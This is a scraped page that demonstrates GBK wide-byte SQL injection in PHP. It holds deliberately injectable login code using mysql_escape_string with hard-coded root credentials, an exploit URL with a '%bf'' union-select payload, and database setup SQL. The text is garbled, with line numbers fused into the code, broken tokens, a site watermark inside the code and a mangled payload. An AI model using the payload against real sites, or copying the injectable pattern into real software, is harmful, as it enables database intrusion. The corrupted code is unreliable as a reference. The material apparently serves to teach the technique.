Wide-byte injection instance

<? Php 02/* 03 * code: c4bbage 04 * From: cunlide.com 05 */06 error_reporting (E_ALL); 07 $ conn = mysql_connect ("localhost", "root ", "toor"); 08 mysql_query ("set names 'gbk'"); 09 mysql_select_db ("test1", $ conn ); 10 $ username = mysql_escape_string ($ _ GET ['username']); 11 // $ username = addslashes ($ _ GET ['username']); 12 var_dump ($ username); 13 $ password = mysql_escape_string ($ _ GET ['Password']); 14 $ SQL = "select * from admin where username = '$ username' and password =' $ password'"; 15 print_r ($ SQL); echo "<br> "; 16 $ result = mysql_query ($ SQL, $ conn); 17 print_r ($ result); echo "<br>"; 18 while ($ row = mysql_fetch_array ($ result, MYSQL_ASSOC) 19 {20 print_r ($ row [] = $ row); 21} www.2cto. com22/* 23 exp: 24 http://127.0.0.1/sqli.php?username=%bf 'Union select 3%, 23 & password = password 25 db file: 26 -- test1. SQL 27 SET SQL _MODE = "NO_AUTO_VALUE_ON_ZERO"; 28 SET time_zone = "+ "; 29 -- gbk database 30 create database 'test1' default character set gbk COLLATE gbk_chinese_ci; 31 USE 'test1 '; 32 33 create table if not exists 'admin' (34 'id' int (11) not null, 35 'username' varchar (15) not null, 36 'Password' varchar (15) not null, 37 PRIMARY KEY ('id') 38) ENGINE = InnoDB default charset = gbk; 39 40 insert into 'admin' ('id', 'username', 'Password ') VALUES 41 (1, 'admin', 'Password'); 42 43 */44?>